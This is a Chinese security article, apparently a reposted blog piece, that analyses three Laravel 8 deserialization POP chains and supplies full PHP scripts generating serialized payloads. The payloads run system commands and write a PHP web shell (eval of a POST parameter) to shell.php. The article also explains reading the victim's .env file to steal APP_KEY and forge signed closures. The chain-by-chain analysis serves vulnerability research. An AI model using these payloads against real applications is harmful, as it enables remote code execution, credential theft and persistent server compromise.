Laravel8反序列化POP鏈分析挖掘

2021-12-24 安全客

作者:Dig2@星盟

作為目前PHP最主流的框架之一,Laravel的主體及其依賴組件一直保持著較頻繁的更新。自從2020年9月份Laravel 8發布以來,已經更新了四十多個版本,平均每個月都有八次左右的更新。除了優化,還有重要的原因在於安全性。例如CVE-2021-3129可以在Laravel的Debug模式下任意代碼執行。這個CVE的命令執行步驟中有一部分依賴於Phar反序列化的執行。相比較於目前被分析較多的Larave 5.X版本的POP鏈,Laravel 8 部分組件版本較新,部分類加上了__wake方法進行過濾或者直接禁止了反序列化,故利用方式有所差異。本文分析並挖掘了當前Laravel 8版本中的反序列化鏈。

使用composer默認安裝方式

Laravel版本8.5.9,framework版本8.26.1,具體組件版本可參照Packagist Laravel

手動添加反序列化點:

/routes/web.php:

<?php
use Illuminate\Support\Facades\Route;use App\Http\Controllers\IndexController;
Route::get('/', [IndexController::class, 'index']);

/app/Http/Controllers/IndexController.php:

<?php
namespace App\Http\Controllers;use Illuminate\Http\Request;
class IndexController extends Controller{ public function index(Request $request){ $p = $request->input('payload'); unserialize($p); }}

 

鏈一

尋找__destruct

入口類為:\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php的class PendingBroadcast

這是一個很經典的入口類了,如果讀者有研究Laravel 5的反序列化鏈,可能會知道這個類。其__destruct方法:

我們可以控制$this->events和$this->event。如果使$this->events為某個擁有dispatch方法的類,我們可以調用這個類的dispatch方法。

尋找dispatch方法

\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php的class Dispatcher存在dispatch方法

$command可控,$this->queueResolver可控,$this->commandShouldBeQueued要求$command為ShouldQueue的實例

全局搜索,隨便找一個ShouldQueue的子類即可

然後就能夠進入$this->dispatchToQueue方法

$this->queueResolver和$connection均可控。payload如下:

<?phpnamespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }
class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}
namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}

namespace { $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher('system'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}

加強

上面的利用方法中,執行call_user_func($this->queueResolver, $connection);時,執行的函數只有$connection一個參數。如果現在需要執行一個多參數函數比如file_put_contents就沒辦法了。

注意到這裡call_user_func的第一個參數除了可以是函數名字符串,還有兩種可以利用方式:

使第一個參數為一個類,就能調用該類的__invoke方法

使第一個參數為數組,例如[class A, 'foo'],表示調用類A的foo方法。下面分別介紹這兩種方式例子

法一:調用__invoke

這裡的利用稍為複雜

在\vendor\opis\closure\src\SerializableClosure.php的class SerializableClosure找到了一個非常漂亮的__invoke函數

這裡的$this->closure和func_get_args()均可控,我本來以為能夠直接RCE了,然而後面還有兩個棘手的問題。

一個是該類使用的不是標準序列化反序列化方法,而是實現了自己的序列化和反序列化方法:

其實這個問題不難解決,我們可以在生成payload的時候,使用composer引入該組件:

composer require opis/closure

然後在生成payload的代碼中加入:

require "./vendor/autoload.php";

再:

$func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");};$d = new \Opis\Closure\SerializableClosure($func);

就能生成該類實例了

第二個棘手的問題在於,Laravel 8和Laravel 5有一個區別。Laravel 8在序列化和反序列化該類時,使用了驗證secret。

該secret由環境變量配置文件,也就是.env中的APP_KEY決定,Laravel安裝的時候,會在.env文件中生成一個隨機的APP_KEY,例如:

APP_KEY=base64:2qnzxAY/QWHh/1F174Qsa+8LkuMoxOCU9qN6K8KipI0=

我們在本地生成payload的時候,也要手動生成一個static::$securityProvider,並且secret和遠程受害者要是一樣的才行。方法為,在本地的class SerializableClosure的源碼SerializableClosure.php文件中加入這麼一行(字符串為受害機.env文件中的密鑰):

那麼如何獲取受害機的APP_KEY呢?我們在上面既然實現了單參數的任意函數執行,那麼file_get_content('.env')就行了。當然,如果有其他漏洞點能夠洩露配置文件就更方便了。

綜上所述,生成payload腳本:

<?phpnamespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }
class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}
namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}

namespace { require "./vendor/autoload.php"; $func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");}; $d = new \Opis\Closure\SerializableClosure($func);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher($d); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}

法二:調用另一個類某可控函數

這裡使用了JrXnm師傅在其文章Laravel 5.8 RCE POP鏈匯總分析中提到的方法,使用vendor\phpoption\phpoption\src\PhpOption\LazyOption.php的class LazyOption,在下面鏈二的加強中演示。payload一併放在文末的github地址中。


鏈二

尋找__destruct

同鏈一,入口類為:\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php的class PendingBroadcast

我們可以控制$this->events和$this->event。如果使$this->events為某個類,並且該類沒有實現dispatch方法卻有__call方法,那麼就可以調用這個__call方法了

尋找__call

隨後找到位於\vendor\laravel\framework\src\Illuminate\Validation\Validator.php中的class Validator

它有__call方法:

$parameters可控,$method為固定字符串dispatch,取substr($method, 8)後,為空字符串,故$rule為''。$this->extensions可控,跟蹤$this->callExtension()方法

$callback和$parameters都是可控的,於是一條利用鏈就出來了。payload如下:

<?phpnamespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }}
namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}
namespace { $b = new Illuminate\Validation\Validator(array(''=>'system')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami'); print(urlencode(serialize($a)));}

加強

對於鏈二的總結就是:

$callback(... array_values($parameters));

$callback可控,$parameters最多只能為單成員的數組。所以這裡也具有無法執行多參數函數比如file_put_contents的問題。

注意到這裡利用的是PHP中的可變函數,經過實驗,如下代碼可行:

<?phpclass A{    public function __invoke(){        echo "invoke".PHP_EOL;    }    public function test(){        echo "test".PHP_EOL;    }}
$callback1 = new A;$callback1('');
$callback2 = array(new A, 'test');$callback2('');

因此,可以控制上面利用鏈中的$callback為數組,就可以調用某其他類任意函數了。

vendor\phpoption\phpoption\src\PhpOption\LazyOption.php的class LazyOption是一個很好的選擇。

其option方法可以調用call_user_func_array函數,且兩個參數都可控

雖然option是private屬性的方法,在其它類中無法直接調用,但是可以發現在該類自身中,許多函數都在調用option函數

於是構造成功,payload如下所示

<?phpnamespace PhpOption {    class LazyOption {        private $callback;        private $arguments;
public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } }}
namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}
namespace Illuminate\Validation { class Validator { public $extensions;
public function __construct($extensions){ $this->extensions = $extensions; } }}
namespace { $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['Dig2']) ?>"]); $b = new Illuminate\Validation\Validator(array(''=>[$c, 'select'])); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'not important'); print(urlencode(serialize($a)));}

鏈三

入口類為\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php的class FileCookieJar。此類在Laravel 5中沒有出現。其有__destruct函數:

$this->filename可控,跟蹤save函數:

有file_put_contents函數。一路順下去,能看到該類的接口是實現了IteratorAggregate的,如下

interface CookieJarInterface extends \Countable, \IteratorAggregate

也就是說它實現了自己的foreach ($this as $cookie)方法,這裡同樣用composer安裝一下該組件再進行獲取序列化字符串比較方便。因為我們要通過其父類的SetCookie方法來設置這裡的$cookie值。其餘沒有什麼值得注意的地方,比較簡單,payload如下:

<?phpnamespace{    require "./vendor/autoload.php";    $a = new \GuzzleHttp\Cookie\FileCookieJar("shell.php");    $a->setCookie(new \GuzzleHttp\Cookie\SetCookie([        'Name'=>'123',        'Domain'=> "<?php eval(\$_POST['Dig2']) ?>",        'Expires'=>123,        'Value'=>123    ]));    print(urlencode(serialize($a)));}

 

Laravel 8相對於Laravel 5而言,增加了幾個組件,又去掉了另幾個組件。利用鏈有部分重疊,也有修復與增補。整體分析下來,思路是非常清晰的,從__destruct函數到__invoke或者__call等,再到危險函數完成RCE,中間或許需要跳板反覆利用。密鑰等信息的洩露也會帶來RCE的風險。

上面代碼集合:https://github.com/WgagaXnunigo/laravel8_POP_RCE

(點擊「閱讀原文」查看連結)

相關焦點

  • 【技術分享】Laravel7反序列化POP鏈分析挖掘
    /laravel blog "7.12. 把 laravel5 的反序列化基本過了以後在 phpggc 的laravel反序列庫裡面找了一個通過修改參數使用的php反序列化點, 主要是通過 RCE3 展開的一次任意命令執行攻擊, 然後仍可以應用於 laravel7應用了 PendingBroadcast 類這個反序列化點public function
  • Laravel 8 反序列化分析
    forwardlaravel的版本已經到了8;這裡分析一個laravel8的反序列化漏洞,但是讓我感到意外的是,這個漏洞竟然在低版本的laravel上依然可以存在,從根本來說這個漏洞是laravel的mockery組件漏洞,沒想到一直沒修;text首先還是老樣子,熟悉laravel的
  • 痛心的CodeIgniter4.x反序列化POP鏈挖掘報告
    0x00 前言CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為
  • 怎樣挖掘出屬於自己的php反序列化鏈
    A:RCTF2020中的swoole一題刺激到我了(,那道題找了兩天也找不到鏈。再後來第五空間2020的那個laravel也是找了一天,最後還是靠phpggc做了次腳本小子。我在想為啥我找不到鏈呢?故有此文。PS: 雖然寫的是一些總結性的東西。但作者也不過找到5條框架的鏈而已,見識還是太少。希望師傅們多多包涵,加以指正。
  • ThinkPHP v5.1.x POP 鏈分析
    前段時間網上爆出 ThinkPHP 5.1.x 的 POP 鏈,早就想分析一下,正好最近有空,就記錄一下吧環境:MacOS 10.13MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔術方法並巧妙構造特殊屬性調用一系列函數或類方法以執行某種敏感操作的調用堆棧反序列化常用魔法函數
  • Java 8u20反序列化漏洞分析
    二、Java序列化過程及數據分析在8u20的POC中需要直接操作序列化文件結構,需要對Java序列化數據寫入過程、數據結構和數據格式有所了解。分析Java序列化文件,使用SerializationDumper工具可以幫助我們理解,這裡使用SerializationDumper查看這個序列化文件看下STREAM_MAGIC - 0xac edSTREAM_VERSION - 0x00 05Contents
  • Java安全之反序列化漏洞分析
    方法,而反序列化是由ObjectInputStream的readObject方法實現的,下圖是作者畫的一個序列化示意圖:介於該漏洞曝光距今已經有兩年之久,並且網上也有對此分析的很透徹的文章,本文就來講一下這個可以通過精心構造觸發命令執行的漏洞的要點。
  • php反序列化
    一個完全可控的反序列化輸入點,可以構造一個對象,通過構造序列化字符串,可以繼承任意類的屬性,控制任意類裡的變量。四、    實戰,thinkphp反序列化實戰中往往沒有這麼簡單,而是需要挨個觸發多個類,形成pop鏈<?
  • 常見的 Web 漏洞 —— 反序列化漏洞
    在身份驗證,文件讀寫,數據傳輸等功能處,未對反序列化接口做訪問控制,未對序列化數據做加密和籤名,加密密鑰使用硬編碼(如Shiro 1.2.4),使用不安全的反序列化框架庫(如Fastjson 1.2.24)或函數的情況下,由於序列化數據可被用戶控制,攻擊者可以精心構造惡意的序列化數據(執行特定代碼或命令的數據)傳遞給應用程式,在應用程式反序列化對象時執行攻擊者構造的惡意代碼,達到攻擊者的目的
  • JAVA反序列化—FastJson抗爭的一生
    3.分析了fastjson組件1.2.24版本中JNDI注入利用鏈與setter參數巧妙完美適配(前置知識參考JNDI注入一文)4.分析了fastjson組件1.2.24版本中JDK1.7TemplatesImpl利用鏈的漏洞觸發點poc構造(前置知識參考7u21一文)5.分析了1.2.24
  • java反序列化之Commons Collections分析(一)
    前言在學習java反序列化的過程中,Commons Collections幾乎是反序列化學習中無法繞過的一關。但是這裡產生了一個疑問,為什麼CC2鏈中使用commons-collections-4.03.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中間查閱了一些資料,發現在3.1-3.2.1版本中TransformingComparator並沒有去實現Serializable接口,也就是說這是不可以被序列化的。所以在利用鏈上就不能使用他去構造。
  • Dubbo HttpInvoker反序列化分析
    之前審計的過程中,遇到過Dubbo這個組件,雖然知道這個組件存在反序列化漏洞,但是關於漏洞的詳情和利用一概不知,所以下面對Dubbo的漏洞進行分析
  • Yii2 反序列化漏洞復現分析
    Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize() 時,攻擊者可通過構造特定的惡意請求執行任意命令。web.php文件17行cookieValidationKey,可以隨便定義然後進入目錄php yii serve啟動接著添加一個存在漏洞的Action生成poc,poc.php發送請求,環境搭建成功3、漏洞分析
  • 文庫 | 反序列化漏洞匯總
    POP鏈介紹完了漏洞原理與序列化的實現過程,接下來說說漏洞的利用。關於Fastjson 1.2.24反序列化漏洞,自從17年以來已經有很多人分析過了,一些基礎內容此處就不再陳述了。此次漏洞簡單來說,就是Fastjson通過parseObject/parse將傳入的字符串反序列化為Java對象時由於沒有進行合理檢查而導致的。
  • php 序列化與反序列化
    ,打算這篇文章寫一下php反序列化。 binary stringC - custom object 自定義的對象序列化O - class 序列化對象 PHP4 取代oN - nullR - pointer reference 指針引用U - unicode string PHP6 引入unicode編碼字符串接下來重點用代碼分析序列化數據class SampleClass
  • java反序列化——XMLDecoder反序列化漏洞
    前言最近學習java反序列化學到了weblogic部分,weblogic之前的兩個反序列化漏洞不涉及T3協議之類的,只是涉及到了XMLDecoder
  • PHP反序列化漏洞說明
    序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。PHP序列化的函數為serialize,反序列化的函數為unserialize.舉個慄子:<?反序列化反序列化就是序列化的逆過程,即對於將對象進行序列化後的字符串,還原其成員變量的過程。接上述慄子:<?
  • 那些年一起打過的CTF - Laravel 任意用戶登陸Tricks分析
    題目比較簡單,一共兩個考點,一個是laravel登錄功能的小tricks(部分情況下可實現任意用戶登錄),另一個為fastjson的利用。當時題目中使用的框架是express,不過算是弱類型語言框架中一個比較通用的問題,換成了使用量更多的laravel為例。1、Laravel 登錄 tricks打開題目後,就是一個登陸頁面。
  • PHP反序列化
    雲智信安、雲窟實驗室擁有對此文章的修改和最終解釋函數介紹serialize()函數該函數用於將實例化的對象序列化,或者序列化數組序列化對象<?unserialize()函數從名字來感覺,一個序列化一個反序列化,很輕易的就能知道unserialize()函數的用處。沒錯,反序列化函數就是用來將序列化後的字符串再轉換為對象或數組。反序列化為對象<?
  • Web安全 | PHP反序列化入門這一篇就夠了
    搞懂反序列化漏洞的前提,先搞懂什麼是序列化:序列化說通俗點就是把一個對象變成可以傳輸的字符串。,但是如果反序列化的內容是用戶可以控制的,且後臺不正當的使用了PHP中的魔法函數,就會導致安全問題有哪些php常見的魔法函數:__construct() 當一個對象創建時被調用__destruct() 當一個對象銷毀前被調用__sleep() 在對象被序列化前被調用__wakeup 將在反序列化之後立即被調用